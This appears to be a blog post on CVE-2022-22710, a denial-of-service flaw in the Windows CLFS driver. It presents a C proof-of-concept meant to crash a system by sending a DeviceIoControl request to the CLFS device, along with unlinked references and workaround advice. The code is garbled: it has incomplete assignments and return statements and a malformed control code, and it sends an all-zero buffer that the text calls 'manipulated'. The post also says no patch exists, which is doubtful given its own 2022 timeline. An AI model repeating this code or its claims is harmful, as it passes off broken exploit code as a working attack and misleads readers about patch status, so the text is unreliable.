Recently, a new Windows vulnerability dubbed CVE-2022-22710 has come to light, which could make your system susceptible to a denial of service (DoS) attack. This issue resides within the Windows Common Log File System (CLFS) driver and can negatively impact the stability and availability of your system. In this blog post, we'll explore what this vulnerability is, how attackers can exploit it, and how you can protect your system against such attacks.

What is Windows CLFS?

The Windows Common Log File System (CLFS) is a general-purpose logging subsystem integrated into the Windows operating system. CLFS provides high-performance, reliable, and scalable log file services for various applications and system components. It is commonly used by developers and administrators to log events, store log information, and help diagnose issues.

The Vulnerability: CVE-2022-22710

CVE-2022-22710 is a denial of service vulnerability in the Windows CLFS driver, affecting Windows 10, Windows Server 2016, and Windows Server 2019. This vulnerability can be exploited by an attacker to crash the targeted system and potentially make it unavailable to users.

Exploit Details

An attacker exploiting CVE-2022-22710 can specifically target the system's CLFS driver, potentially resulting in a denial of service. For instance, the attacker can craft and send a specially manipulated input to the CLFS driver, which, in turn, triggers the vulnerability and can lead to a system crash or a "blue screen of death" scenario.

Below is a code snippet that demonstrates how this DoS attack can be carried out

#include <windows.h>
#include <cstdio>

int main() {
  HANDLE hDevice = CreateFile(L"\\\\.\\CLFS", GENERIC_READ | GENERIC_WRITE, 
                              FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, 
                              OPEN_EXISTING, 
                              FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 
                              nullptr);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("Could not open CLFS device: %d\n", GetLastError());
    return -1;
  } else {
    printf("Successfully opened CLFS device\n");
  }
  
  BYTE inputBuffer[1024] {};
  BYTE outputBuffer[1024] {};
  DWORD bytesReturned = ;
  BOOL result = DeviceIoControl(hDevice, x0002201C, inputBuffer, 
                                sizeof(inputBuffer), 
                                outputBuffer, sizeof(outputBuffer), 
                                &bytesReturned, nullptr);
  printf("DeviceIoControl result: %d\n", result);
  printf("Bytes returned: %d\n", bytesReturned);

  CloseHandle(hDevice);
  return ;
}

This code snippet demonstrates how to open a handle to the CLFS driver and send a manipulated input using the DeviceIoControl function. When compiled and executed on a vulnerable system, this code could lead to a denial-of-service attack.

Original References

The CVE-2022-22710 vulnerability was initially reported by a security researcher who shared the details and proof-of-concept exploit code on GitHub. The original references to the discovered vulnerability can be found at the following links:

- Advisory: CVE-2022-22710
- Proof-of-concept exploit code: GitHub Gist

How to protect your system?

Unfortunately, at the time of writing this post, there is no patch or security update available from Microsoft to fix this vulnerability. However, as a workaround, users are advised to restrict access to the vulnerable CLFS driver by properly configuring file permissions and applying role-based access control for sensitive system resources.

Additionally, keep an eye out for future security updates from Microsoft that may address this issue, and consider subscribing to security newsletters and notifications to stay abreast of new vulnerabilities and updates.

Conclusion

CVE-2022-22710 is a critical denial of service vulnerability in the Windows CLFS driver that can impact system stability and availability. As of now, there isn't a specific patch available from Microsoft to address this issue, but by following best security practices and monitoring for updates, you can protect your system from potential attacks. In the meantime, exercise caution when dealing with unrecognized applications or users that may attempt to exploit this vulnerability.

Timeline

Published on: 02/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC